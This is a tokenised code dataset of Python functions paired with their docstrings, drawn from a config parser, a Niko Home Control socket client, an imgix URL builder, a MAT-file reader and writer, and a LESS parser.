{"signature": "def _source_call_only(self):", "body": "line = self.source[self.col_offset:]<EOL>regex = re.compile('''<STR_LIT>''')<EOL>match = regex.match(line)<EOL>if not match:<EOL><INDENT>return self.source<EOL><DEDENT>return match.group(<NUM_LIT:1>)<EOL>", "docstring": "Return the source line stripped down to just the pyconfig call.", "id": "f12386:c2:m6"}
{"signature": "def _default_value_only(self):", "body": "line = self.source[self.col_offset:]<EOL>regex = re.compile('''<STR_LIT>''')<EOL>match = regex.match(line)<EOL>if not match:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return match.group(<NUM_LIT:1>)<EOL>", "docstring": "Return only the default value, if there is one.", "id": "f12386:c2:m7"}
{"signature": "def _default(self):", "body": "try:<EOL><INDENT>iter(self.default)<EOL><DEDENT>except TypeError:<EOL><INDENT>return repr(self.default)<EOL><DEDENT>for v in self.default:<EOL><INDENT>if isinstance(v, Unparseable):<EOL><INDENT>default = self._default_value_only()<EOL>if default:<EOL><INDENT>return default<EOL><DEDENT><DEDENT><DEDENT>return '<STR_LIT:U+002CU+0020>'.join(str(v) for v in self.default)<EOL>", "docstring": "Return the default argument, formatted nicely.", "id": "f12386:c2:m8"}
{"signature": "def receive(self):", "body": "return self._socket.recv().decode()<EOL>", "docstring": "Receives information from the Netcat socket.", "id": "f12396:c0:m2"}
{"signature": "def _receive_until(self, s):", "body": "return self._socket.recv_until(s)<EOL>", "docstring": "Recieve data from the socket until the given substring is observed.\nData in the same datagram as the substring, following the substring,\nwill not be returned and will be cached for future receives.", "id": "f12396:c0:m4"}
{"signature": "def send(self, s):", "body": "self._socket.send(s.encode())<EOL>return self.read()<EOL>", "docstring": "Sends the given command to Niko Home Control and returns the output of\nthe system.\n\nAliases: write, put, sendall, send_all", "id": "f12396:c0:m5"}
{"signature": "def set_parameter(self, key, value):", "body": "if value is None or isinstance(value, (int, float, bool)):<EOL><INDENT>value = str(value)<EOL><DEDENT>if key.endswith('<STR_LIT>'):<EOL><INDENT>value = urlsafe_b64encode(value.encode('<STR_LIT:utf-8>'))<EOL>value = value.replace(b('<STR_LIT:=>'), b('<STR_LIT>'))<EOL><DEDENT>self._parameters[key] = value<EOL>", "docstring": "Set a url parameter.\n\nParameters\n----------\nkey : str\n    If key ends with '64', the value provided will be automatically\n    base64 encoded.", "id": "f12406:c0:m2"}
{"signature": "def delete_parameter(self, key):", "body": "if key in self._parameters:<EOL><INDENT>del self._parameters[key]<EOL><DEDENT>", "docstring": "Deletes the value associated with `key` from recorded parameters.\n\nParameters\n----------\nkey : str\n\nRaises\n------\nKeyError\n    If key doesn't exist in recorded parameters.", "id": "f12406:c0:m3"}
{"signature": "def __str__(self):", "body": "query = {}<EOL>for key in self._parameters:<EOL><INDENT>query[key] = self._parameters[key]<EOL><DEDENT>path = self._path<EOL>if self._include_library_param:<EOL><INDENT>query[\"<STR_LIT>\"] = \"<STR_LIT>\" + __version__<EOL><DEDENT>if path.startswith(\"<STR_LIT:http>\"):<EOL><INDENT>try:<EOL><INDENT>path = quote(path, safe=\"<STR_LIT>\")<EOL><DEDENT>except KeyError:<EOL><INDENT>path = quote(path.encode('<STR_LIT:utf-8>'), safe=\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if not path.startswith(\"<STR_LIT:/>\"):<EOL><INDENT>path = \"<STR_LIT:/>\" + path  <EOL><DEDENT>if not path.startswith(\"<STR_LIT>\") and not self._str_is_ascii(path):<EOL><INDENT>try:<EOL><INDENT>path = quote(path)<EOL><DEDENT>except KeyError:<EOL><INDENT>path = quote(path.encode('<STR_LIT:utf-8>'))<EOL><DEDENT><DEDENT>query = \"<STR_LIT:&>\".join(<EOL>(quote(key, \"<STR_LIT>\") + \"<STR_LIT:=>\" + quote(query[key], \"<STR_LIT>\"))<EOL>for key in sorted(query))<EOL>if self._sign_key:<EOL><INDENT>delim = \"<STR_LIT>\" if query == \"<STR_LIT>\" else \"<STR_LIT:?>\"<EOL>signing_value = self._sign_key + path + delim + query<EOL>signature = hashlib.md5(signing_value.encode('<STR_LIT:utf-8>')).hexdigest()<EOL>if query:<EOL><INDENT>query += \"<STR_LIT>\" + signature<EOL><DEDENT>else:<EOL><INDENT>query = \"<STR_LIT>\" + signature<EOL><DEDENT><DEDENT>return urlparse.urlunparse([<EOL>self._scheme,<EOL>self._host,<EOL>path,<EOL>\"<STR_LIT>\",<EOL>query,<EOL>\"<STR_LIT>\", ])<EOL>", "docstring": "Generate URL from the recorded parameters.\n\nReturns\n-------\nstr", "id": "f12406:c0:m5"}
{"signature": "def create_url(self, path, params={}, opts={}):", "body": "if opts:<EOL><INDENT>warnings.warn('<STR_LIT>',<EOL>DeprecationWarning, stacklevel=<NUM_LIT:2>)<EOL><DEDENT>params = params or opts<EOL>if self._shard_strategy == SHARD_STRATEGY_CRC:<EOL><INDENT>crc = zlib.crc32(path.encode('<STR_LIT:utf-8>')) & <NUM_LIT><EOL>index = crc % len(self._domains)  <EOL>domain = self._domains[index]<EOL><DEDENT>elif self._shard_strategy == SHARD_STRATEGY_CYCLE:<EOL><INDENT>domain = self._domains[self._shard_next_index]<EOL>self._shard_next_index = (<EOL>self._shard_next_index + <NUM_LIT:1>) % len(self._domains)<EOL><DEDENT>else:<EOL><INDENT>domain = self._domains[<NUM_LIT:0>]<EOL><DEDENT>scheme = \"<STR_LIT>\" if self._use_https else \"<STR_LIT:http>\"<EOL>url_obj = UrlHelper(<EOL>domain,<EOL>path,<EOL>scheme,<EOL>sign_key=self._sign_key,<EOL>include_library_param=self._include_library_param,<EOL>params=params)<EOL>return str(url_obj)<EOL>", "docstring": "Create URL with supplied path and `opts` parameters dict.\n\nParameters\n----------\npath : str\nopts : dict\n    Dictionary specifying URL parameters. Non-imgix parameters are\n    added to the URL unprocessed. For a complete list of imgix\n    supported parameters, visit https://docs.imgix.com/apis/url .\n    (default {})\n\nReturns\n-------\nstr\n    imgix URL", "id": "f12407:c0:m2"}
{"signature": "def diff(iterable):", "body": "a, b = tee(iterable)<EOL>next(b, None)<EOL>return (i - j for i, j in izip(a, b))<EOL>", "docstring": "Diff elements of a sequence:\n    s -> s0 - s1, s1 - s2, s2 - s3, ...", "id": "f12409:m0"}
{"signature": "def unpack(endian, fmt, data):", "body": "if fmt == '<STR_LIT:s>':<EOL><INDENT>val = struct.unpack('<STR_LIT>'.join([endian, str(len(data)), '<STR_LIT:s>']),<EOL>data)[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>num = len(data) // struct.calcsize(fmt)<EOL>val = struct.unpack('<STR_LIT>'.join([endian, str(num), fmt]), data)<EOL>if len(val) == <NUM_LIT:1>:<EOL><INDENT>val = val[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>return val<EOL>", "docstring": "Unpack a byte string to the given format. If the byte string\n    contains more bytes than required for the given format, the function\n    returns a tuple of values.", "id": "f12409:m1"}
{"signature": "def read_file_header(fd, endian):", "body": "fields = [<EOL>('<STR_LIT:description>', '<STR_LIT:s>', <NUM_LIT>),<EOL>('<STR_LIT>', '<STR_LIT:s>', <NUM_LIT:8>),<EOL>('<STR_LIT:version>', '<STR_LIT:H>', <NUM_LIT:2>),<EOL>('<STR_LIT>', '<STR_LIT:s>', <NUM_LIT:2>)<EOL>]<EOL>hdict = {}<EOL>for name, fmt, num_bytes in fields:<EOL><INDENT>data = fd.read(num_bytes)<EOL>hdict[name] = unpack(endian, fmt, data)<EOL><DEDENT>hdict['<STR_LIT:description>'] = hdict['<STR_LIT:description>'].strip()<EOL>v_major = hdict['<STR_LIT:version>'] >> <NUM_LIT:8><EOL>v_minor = hdict['<STR_LIT:version>'] & <NUM_LIT><EOL>hdict['<STR_LIT>'] = '<STR_LIT>' % (v_major, v_minor)<EOL>return hdict<EOL>", "docstring": "Read mat 5 file header of the file fd.\n    Returns a dict with header values.", "id": "f12409:m2"}
{"signature": "def read_element_tag(fd, endian):", "body": "data = fd.read(<NUM_LIT:8>)<EOL>mtpn = unpack(endian, '<STR_LIT:I>', data[:<NUM_LIT:4>])<EOL>num_bytes = mtpn >> <NUM_LIT:16><EOL>if num_bytes > <NUM_LIT:0>:<EOL><INDENT>mtpn = mtpn & <NUM_LIT><EOL>if num_bytes > <NUM_LIT:4>:<EOL><INDENT>raise ParseError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>data = data[<NUM_LIT:4>:<NUM_LIT:4> + num_bytes]<EOL><DEDENT>else:<EOL><INDENT>num_bytes = unpack(endian, '<STR_LIT:I>', data[<NUM_LIT:4>:])<EOL>data = None<EOL><DEDENT>return (mtpn, num_bytes, data)<EOL>", "docstring": "Read data element tag: type and number of bytes.\n    If tag is of the Small Data Element (SDE) type the element data\n    is also returned.", "id": "f12409:m3"}
{"signature": "def read_elements(fd, endian, mtps, is_name=False):", "body": "mtpn, num_bytes, data = read_element_tag(fd, endian)<EOL>if mtps and mtpn not in [etypes[mtp]['<STR_LIT:n>'] for mtp in mtps]:<EOL><INDENT>raise ParseError('<STR_LIT>'.format(<EOL>mtpn, '<STR_LIT>'.join('<STR_LIT>'.format(<EOL>etypes[mtp]['<STR_LIT:n>'], mtp) for mtp in mtps)))<EOL><DEDENT>if not data:<EOL><INDENT>data = fd.read(num_bytes)<EOL>mod8 = num_bytes % <NUM_LIT:8><EOL>if mod8:<EOL><INDENT>fd.seek(<NUM_LIT:8> - mod8, <NUM_LIT:1>)<EOL><DEDENT><DEDENT>if is_name:<EOL><INDENT>fmt = '<STR_LIT:s>'<EOL>val = [unpack(endian, fmt, s)<EOL>for s in data.split(b'<STR_LIT>') if s]<EOL>if len(val) == <NUM_LIT:0>:<EOL><INDENT>val = '<STR_LIT>'<EOL><DEDENT>elif len(val) == <NUM_LIT:1>:<EOL><INDENT>val = asstr(val[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>val = [asstr(s) for s in val]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>fmt = etypes[inv_etypes[mtpn]]['<STR_LIT>']<EOL>val = unpack(endian, fmt, data)<EOL><DEDENT>return val<EOL>", "docstring": "Read elements from the file.\n\n    If list of possible matrix data types mtps is provided, the data type\n    of the elements are verified.", "id": "f12409:m4"}
{"signature": "def read_header(fd, endian):", "body": "flag_class, nzmax = read_elements(fd, endian, ['<STR_LIT>'])<EOL>header = {<EOL>'<STR_LIT>': flag_class & <NUM_LIT>,<EOL>'<STR_LIT>': (flag_class >> <NUM_LIT:9> & <NUM_LIT:1>) == <NUM_LIT:1>,<EOL>'<STR_LIT>': (flag_class >> <NUM_LIT:10> & <NUM_LIT:1>) == <NUM_LIT:1>,<EOL>'<STR_LIT>': (flag_class >> <NUM_LIT:11> & <NUM_LIT:1>) == <NUM_LIT:1>,<EOL>'<STR_LIT>': nzmax<EOL>}<EOL>header['<STR_LIT>'] = read_elements(fd, endian, ['<STR_LIT>'])<EOL>header['<STR_LIT>'] = len(header['<STR_LIT>'])<EOL>if header['<STR_LIT>'] != <NUM_LIT:2>:<EOL><INDENT>raise ParseError('<STR_LIT>')<EOL><DEDENT>header['<STR_LIT:name>'] = read_elements(fd, endian, ['<STR_LIT>'], is_name=True)<EOL>return header<EOL>", "docstring": "Read and return the matrix header.", "id": "f12409:m5"}
{"signature": "def read_var_header(fd, endian):", "body": "mtpn, num_bytes = unpack(endian, '<STR_LIT>', fd.read(<NUM_LIT:8>))<EOL>next_pos = fd.tell() + num_bytes<EOL>if mtpn == etypes['<STR_LIT>']['<STR_LIT:n>']:<EOL><INDENT>data = fd.read(num_bytes)<EOL>dcor = zlib.decompressobj()<EOL>fd_var = BytesIO(dcor.decompress(data))<EOL>del data<EOL>fd = fd_var<EOL>if dcor.flush() != b'<STR_LIT>':<EOL><INDENT>raise ParseError('<STR_LIT>')<EOL><DEDENT>mtpn, num_bytes = unpack(endian, '<STR_LIT>', fd.read(<NUM_LIT:8>))<EOL><DEDENT>if mtpn != etypes['<STR_LIT>']['<STR_LIT:n>']:<EOL><INDENT>raise ParseError('<STR_LIT>'<EOL>'<STR_LIT>'.format(etypes['<STR_LIT>']['<STR_LIT:n>'], mtpn))<EOL><DEDENT>header = read_header(fd, endian)<EOL>return header, next_pos, fd<EOL>", "docstring": "Read full header tag.\n\n    Return a dict with the parsed header, the file position of next tag,\n    a file like object for reading the uncompressed element data.", "id": "f12409:m6"}
{"signature": "def squeeze(array):", "body": "if len(array) == <NUM_LIT:1>:<EOL><INDENT>array = array[<NUM_LIT:0>]<EOL><DEDENT>return array<EOL>", "docstring": "Return array contents if array contains only one element.\n    Otherwise, return the full array.", "id": "f12409:m7"}
{"signature": "def read_numeric_array(fd, endian, header, data_etypes):", "body": "if header['<STR_LIT>']:<EOL><INDENT>raise ParseError('<STR_LIT>')<EOL><DEDENT>data = read_elements(fd, endian, data_etypes)<EOL>if not isinstance(data, Sequence):<EOL><INDENT>return data<EOL><DEDENT>rowcount = header['<STR_LIT>'][<NUM_LIT:0>]<EOL>colcount = header['<STR_LIT>'][<NUM_LIT:1>]<EOL>array = [list(data[c * rowcount + r] for c in range(colcount))<EOL>for r in range(rowcount)]<EOL>return squeeze(array)<EOL>", "docstring": "Read a numeric matrix.\n    Returns an array with rows of the numeric matrix.", "id": "f12409:m8"}
{"signature": "def read_cell_array(fd, endian, header):", "body": "array = [list() for i in range(header['<STR_LIT>'][<NUM_LIT:0>])]<EOL>for row in range(header['<STR_LIT>'][<NUM_LIT:0>]):<EOL><INDENT>for col in range(header['<STR_LIT>'][<NUM_LIT:1>]):<EOL><INDENT>vheader, next_pos, fd_var = read_var_header(fd, endian)<EOL>varray = read_var_array(fd_var, endian, vheader)<EOL>array[row].append(varray)<EOL>fd.seek(next_pos)<EOL><DEDENT><DEDENT>if header['<STR_LIT>'][<NUM_LIT:0>] == <NUM_LIT:1>:<EOL><INDENT>return squeeze(array[<NUM_LIT:0>])<EOL><DEDENT>return squeeze(array)<EOL>", "docstring": "Read a cell array.\n    Returns an array with rows of the cell array.", "id": "f12409:m9"}
{"signature": "def read_struct_array(fd, endian, header):", "body": "<EOL>field_name_length = read_elements(fd, endian, ['<STR_LIT>'])<EOL>if field_name_length > <NUM_LIT:32>:<EOL><INDENT>raise ParseError('<STR_LIT>'.format(<EOL>field_name_length))<EOL><DEDENT>fields = read_elements(fd, endian, ['<STR_LIT>'], is_name=True)<EOL>if isinstance(fields, basestring):<EOL><INDENT>fields = [fields]<EOL><DEDENT>empty = lambda: [list() for i in range(header['<STR_LIT>'][<NUM_LIT:0>])]<EOL>array = {}<EOL>for row in range(header['<STR_LIT>'][<NUM_LIT:0>]):<EOL><INDENT>for col in range(header['<STR_LIT>'][<NUM_LIT:1>]):<EOL><INDENT>for field in fields:<EOL><INDENT>vheader, next_pos, fd_var = read_var_header(fd, endian)<EOL>data = read_var_array(fd_var, endian, vheader)<EOL>if field not in array:<EOL><INDENT>array[field] = empty()<EOL><DEDENT>array[field][row].append(data)<EOL>fd.seek(next_pos)<EOL><DEDENT><DEDENT><DEDENT>for field in fields:<EOL><INDENT>rows = array[field]<EOL>for i in range(header['<STR_LIT>'][<NUM_LIT:0>]):<EOL><INDENT>rows[i] = squeeze(rows[i])<EOL><DEDENT>array[field] = squeeze(array[field])<EOL><DEDENT>return array<EOL>", "docstring": "Read a struct array.\n    Returns a dict with fields of the struct array.", "id": "f12409:m10"}
{"signature": "def read_var_array(fd, endian, header):", "body": "mc = inv_mclasses[header['<STR_LIT>']]<EOL>if mc in numeric_class_etypes:<EOL><INDENT>return read_numeric_array(<EOL>fd, endian, header,<EOL>set(compressed_numeric).union([numeric_class_etypes[mc]])<EOL>)<EOL><DEDENT>elif mc == '<STR_LIT>':<EOL><INDENT>raise ParseError('<STR_LIT>')<EOL><DEDENT>elif mc == '<STR_LIT>':<EOL><INDENT>return read_char_array(fd, endian, header)<EOL><DEDENT>elif mc == '<STR_LIT>':<EOL><INDENT>return read_cell_array(fd, endian, header)<EOL><DEDENT>elif mc == '<STR_LIT>':<EOL><INDENT>return read_struct_array(fd, endian, header)<EOL><DEDENT>elif mc == '<STR_LIT>':<EOL><INDENT>raise ParseError('<STR_LIT>')<EOL><DEDENT>elif mc == '<STR_LIT>':<EOL><INDENT>raise ParseError('<STR_LIT>')<EOL><DEDENT>elif mc == '<STR_LIT>':<EOL><INDENT>raise ParseError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Read variable array (of any supported type).", "id": "f12409:m12"}
{"signature": "def eof(fd):", "body": "b = fd.read(<NUM_LIT:1>)<EOL>end = len(b) == <NUM_LIT:0><EOL>if not end:<EOL><INDENT>curpos = fd.tell()<EOL>fd.seek(curpos - <NUM_LIT:1>)<EOL><DEDENT>return end<EOL>", "docstring": "Determine if end-of-file is reached for file fd.", "id": "f12409:m13"}
{"signature": "def loadmat(filename, meta=False):", "body": "if isinstance(filename, basestring):<EOL><INDENT>fd = open(filename, '<STR_LIT:rb>')<EOL><DEDENT>else:<EOL><INDENT>fd = filename<EOL><DEDENT>fd.seek(<NUM_LIT>)<EOL>tst_str = fd.read(<NUM_LIT:4>)<EOL>little_endian = (tst_str[<NUM_LIT:2>:<NUM_LIT:4>] == b'<STR_LIT>')<EOL>endian = '<STR_LIT>'<EOL>if (sys.byteorder == '<STR_LIT>' and little_endian) or(sys.byteorder == '<STR_LIT>' and not little_endian):<EOL><INDENT>pass<EOL><DEDENT>elif sys.byteorder == '<STR_LIT>':<EOL><INDENT>endian = '<STR_LIT:>>'<EOL><DEDENT>else:<EOL><INDENT>endian = '<STR_LIT:<>'<EOL><DEDENT>maj_ind = int(little_endian)<EOL>maj_val = ord(tst_str[maj_ind]) if ispy2 else tst_str[maj_ind]<EOL>if maj_val != <NUM_LIT:1>:<EOL><INDENT>raise ParseError('<STR_LIT>')<EOL><DEDENT>mdict = {}<EOL>if meta:<EOL><INDENT>fd.seek(<NUM_LIT:0>)<EOL>mdict['<STR_LIT>'] = read_file_header(fd, endian)<EOL>mdict['<STR_LIT>'] = []<EOL><DEDENT>while not eof(fd):<EOL><INDENT>hdr, next_position, fd_var = read_var_header(fd, endian)<EOL>name = hdr['<STR_LIT:name>']<EOL>if name in mdict:<EOL><INDENT>raise ParseError('<STR_LIT>'<EOL>.format(name))<EOL><DEDENT>mdict[name] = read_var_array(fd_var, endian, hdr)<EOL>if meta and hdr['<STR_LIT>']:<EOL><INDENT>mdict['<STR_LIT>'].append(name)<EOL><DEDENT>fd.seek(next_position)<EOL><DEDENT>fd.close()<EOL>return mdict<EOL>", "docstring": "Load data from MAT-file:\n\n    data = loadmat(filename, meta=False)\n\n    The filename argument is either a string with the filename, or\n    a file like object.\n\n    The returned parameter ``data`` is a dict with the variables found\n    in the MAT file.\n\n    Call ``loadmat`` with parameter meta=True to include meta data, such\n    as file header information and list of globals.\n\n    A ``ParseError`` exception is raised if the MAT-file is corrupt or\n    contains a data type that cannot be parsed.", "id": "f12409:m14"}
{"signature": "def diff(iterable):", "body": "a, b = tee(iterable)<EOL>next(b, None)<EOL>return (i - j for i, j in izip(a, b))<EOL>", "docstring": "Diff elements of a sequence:\n    s -> s0 - s1, s1 - s2, s2 - s3, ...", "id": "f12410:m0"}
{"signature": "def write_elements(fd, mtp, data, is_name=False):", "body": "fmt = etypes[mtp]['<STR_LIT>']<EOL>if isinstance(data, Sequence):<EOL><INDENT>if fmt == '<STR_LIT:s>' or is_name:<EOL><INDENT>if isinstance(data, bytes):<EOL><INDENT>if is_name and len(data) > <NUM_LIT>:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(data))<EOL><DEDENT>fmt = '<STR_LIT>'.format(len(data))<EOL>data = (data,)<EOL><DEDENT>else:<EOL><INDENT>fmt = '<STR_LIT>'.join('<STR_LIT>'.format(len(s)) for s in data)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>l = len(data)<EOL>if l == <NUM_LIT:0>:<EOL><INDENT>fmt = '<STR_LIT>'<EOL><DEDENT>if l > <NUM_LIT:1>:<EOL><INDENT>fmt = '<STR_LIT>'.format(l, fmt)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>data = (data,)<EOL><DEDENT>num_bytes = struct.calcsize(fmt)<EOL>if num_bytes <= <NUM_LIT:4>:<EOL><INDENT>if num_bytes < <NUM_LIT:4>:<EOL><INDENT>fmt += '<STR_LIT>'.format(<NUM_LIT:4> - num_bytes)<EOL><DEDENT>fd.write(struct.pack('<STR_LIT>' + fmt, etypes[mtp]['<STR_LIT:n>'],<EOL>*chain([num_bytes], data)))<EOL>return<EOL><DEDENT>fd.write(struct.pack('<STR_LIT>', etypes[mtp]['<STR_LIT:n>'], num_bytes))<EOL>mod8 = num_bytes % <NUM_LIT:8><EOL>if mod8:<EOL><INDENT>fmt += '<STR_LIT>'.format(<NUM_LIT:8> - mod8)<EOL><DEDENT>fd.write(struct.pack(fmt, *data))<EOL>", "docstring": "Write data element tag and data.\n\n    The tag contains the array type and the number of\n    bytes the array data will occupy when written to file.\n\n    If data occupies 4 bytes or less, it is written immediately\n    as a Small Data Element (SDE).", "id": "f12410:m2"}
{"signature": "def write_var_header(fd, header):", "body": "<EOL>fd.write(struct.pack('<STR_LIT>', etypes['<STR_LIT>']['<STR_LIT:n>'], <NUM_LIT:8>))<EOL>fd.write(struct.pack('<STR_LIT>', mclasses[header['<STR_LIT>']]))<EOL>write_elements(fd, '<STR_LIT>', header['<STR_LIT>'])<EOL>write_elements(fd, '<STR_LIT>', asbytes(header['<STR_LIT:name>']), is_name=True)<EOL>", "docstring": "Write variable header", "id": "f12410:m3"}
{"signature": "def write_var_data(fd, data):", "body": "<EOL>fd.write(struct.pack('<STR_LIT>', etypes['<STR_LIT>']['<STR_LIT:n>'], len(data)))<EOL>fd.write(data)<EOL>", "docstring": "Write variable data to file", "id": "f12410:m4"}
{"signature": "def write_compressed_var_array(fd, array, name):", "body": "bd = BytesIO()<EOL>write_var_array(bd, array, name)<EOL>data = zlib.compress(bd.getvalue())<EOL>bd.close()<EOL>fd.write(struct.pack('<STR_LIT>', etypes['<STR_LIT>']['<STR_LIT:n>'], len(data)))<EOL>fd.write(data)<EOL>", "docstring": "Write compressed variable data to file", "id": "f12410:m5"}
{"signature": "def write_numeric_array(fd, header, array):", "body": "<EOL>bd = BytesIO()<EOL>write_var_header(bd, header)<EOL>if not isinstance(array, basestring) and header['<STR_LIT>'][<NUM_LIT:0>] > <NUM_LIT:1>:<EOL><INDENT>array = list(chain.from_iterable(izip(*array)))<EOL><DEDENT>write_elements(bd, header['<STR_LIT>'], array)<EOL>data = bd.getvalue()<EOL>bd.close()<EOL>write_var_data(fd, data)<EOL>", "docstring": "Write the numeric array", "id": "f12410:m6"}
{"signature": "def write_var_array(fd, array, name='<STR_LIT>'):", "body": "header, array = guess_header(array, name)<EOL>mc = header['<STR_LIT>']<EOL>if mc in numeric_class_etypes:<EOL><INDENT>return write_numeric_array(fd, header, array)<EOL><DEDENT>elif mc == '<STR_LIT>':<EOL><INDENT>return write_char_array(fd, header, array)<EOL><DEDENT>elif mc == '<STR_LIT>':<EOL><INDENT>return write_cell_array(fd, header, array)<EOL><DEDENT>elif mc == '<STR_LIT>':<EOL><INDENT>return write_struct_array(fd, header, array)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(mc))<EOL><DEDENT>", "docstring": "Write variable array (of any supported type)", "id": "f12410:m10"}
{"signature": "def guess_header(array, name='<STR_LIT>'):", "body": "header = {}<EOL>if isinstance(array, Sequence) and len(array) == <NUM_LIT:1>:<EOL><INDENT>array = array[<NUM_LIT:0>]<EOL><DEDENT>if isinstance(array, basestring):<EOL><INDENT>header.update({<EOL>'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': (<NUM_LIT:1> if len(array) > <NUM_LIT:0> else <NUM_LIT:0>, len(array))})<EOL><DEDENT>elif isinstance(array, Sequence) and len(array) == <NUM_LIT:0>:<EOL><INDENT>header.update({<EOL>'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>', '<STR_LIT>': (<NUM_LIT:0>, <NUM_LIT:0>)})<EOL><DEDENT>elif isinstance(array, Mapping):<EOL><INDENT>field_types = [type(j) for j in array.values()]<EOL>field_lengths = [<NUM_LIT:1> if isinstance(j, (basestring, int, float))<EOL>else len(j) for j in array.values()]<EOL>if len(field_lengths) == <NUM_LIT:1>:<EOL><INDENT>equal_lengths = True<EOL>equal_types = True<EOL><DEDENT>else:<EOL><INDENT>equal_lengths = not any(diff(field_lengths))<EOL>equal_types = all([field_types[<NUM_LIT:0>] == f for f in field_types])<EOL><DEDENT>header.update({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': (<EOL><NUM_LIT:1>,<EOL>field_lengths[<NUM_LIT:0>] if equal_lengths and equal_types else <NUM_LIT:1>)}<EOL>)<EOL><DEDENT>elif isinstance(array, int):<EOL><INDENT>header.update({<EOL>'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>', '<STR_LIT>': (<NUM_LIT:1>, <NUM_LIT:1>)})<EOL><DEDENT>elif isinstance(array, float):<EOL><INDENT>header.update({<EOL>'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>', '<STR_LIT>': (<NUM_LIT:1>, <NUM_LIT:1>)})<EOL><DEDENT>elif isinstance(array, Sequence):<EOL><INDENT>if isarray(array, lambda i: isinstance(i, int), <NUM_LIT:1>):<EOL><INDENT>header.update({<EOL>'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': (<NUM_LIT:1>, len(array))})<EOL><DEDENT>elif isarray(array, lambda i: isinstance(i, (int, float)), <NUM_LIT:1>):<EOL><INDENT>header.update({<EOL>'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': (<NUM_LIT:1>, len(array))})<EOL><DEDENT>elif (isarray(array, lambda i: isinstance(i, Sequence), <NUM_LIT:1>) and<EOL>any(diff(len(s) for s in array))):<EOL><INDENT>header.update({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': (<NUM_LIT:1>, len(array))<EOL>})<EOL><DEDENT>elif isarray(array, lambda i: isinstance(i, basestring), <NUM_LIT:1>):<EOL><INDENT>header.update({<EOL>'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': (len(array), len(array[<NUM_LIT:0>]))})<EOL><DEDENT>elif isarray(array, lambda i: isinstance(i, Sequence), <NUM_LIT:1>):<EOL><INDENT>if any(diff(len(j) for j in array)):<EOL><INDENT>header.update({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': (len(array), len(array[<NUM_LIT:0>]))})<EOL><DEDENT>elif isarray(array, lambda i: isinstance(i, int)):<EOL><INDENT>header.update({<EOL>'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': (len(array), len(array[<NUM_LIT:0>]))})<EOL><DEDENT>elif isarray(array, lambda i: isinstance(i, (int, float))):<EOL><INDENT>header.update({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': (len(array), len(array[<NUM_LIT:0>]))})<EOL><DEDENT><DEDENT>elif isarray(array, lambda i: isinstance(<EOL>i, (int, float, basestring, Sequence, Mapping))):<EOL><INDENT>header.update({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': (<NUM_LIT:1>, len(array))})<EOL><DEDENT><DEDENT>if not header:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>header['<STR_LIT:name>'] = name<EOL>return header, array<EOL>", "docstring": "Guess the array header information.\n    Returns a header dict, with class, data type, and size information.", "id": "f12410:m12"}
{"signature": "def savemat(filename, data):", "body": "if not isinstance(data, Mapping):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if isinstance(filename, basestring):<EOL><INDENT>fd = open(filename, '<STR_LIT:wb>')<EOL><DEDENT>else:<EOL><INDENT>fd = filename<EOL><DEDENT>write_file_header(fd)<EOL>for name, array in data.items():<EOL><INDENT>write_compressed_var_array(fd, array, name)<EOL><DEDENT>fd.close()<EOL>", "docstring": "Save data to MAT-file:\n\n    savemat(filename, data)\n\n    The filename argument is either a string with the filename, or\n    a file like object.\n\n    The parameter ``data`` shall be a dict with the variables.\n\n    A ``ValueError`` exception is raised if data has invalid format, or if the\n    data structure cannot be mapped to a known MAT array type.", "id": "f12410:m13"}
{"signature": "def __init__(self,<EOL>lex_optimize=True,<EOL>yacc_optimize=True,<EOL>tabfile='<STR_LIT>',<EOL>yacc_debug=False,<EOL>scope=None,<EOL>outputdir=tempfile.gettempdir(),<EOL>importlvl=<NUM_LIT:0>,<EOL>verbose=False,<EOL>fail_with_exc=False):", "body": "self.verbose = verbose<EOL>self.importlvl = importlvl<EOL>self.lex = lexer.LessLexer()<EOL>if not tabfile:<EOL><INDENT>tabfile = '<STR_LIT>'<EOL><DEDENT>self.ignored = ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>self.tokens = [t for t in self.lex.tokens if t not in self.ignored]<EOL>self.parser = ply.yacc.yacc(<EOL>module=self,<EOL>start='<STR_LIT>',<EOL>debug=yacc_debug,<EOL>optimize=yacc_optimize,<EOL>tabmodule=tabfile,<EOL>outputdir=outputdir)<EOL>self.scope = scope if scope else Scope()<EOL>self.stash = {}<EOL>self.result = None<EOL>self.target = None<EOL>self.fail_with_exc = fail_with_exc<EOL>if fail_with_exc:<EOL><INDENT>self.register = 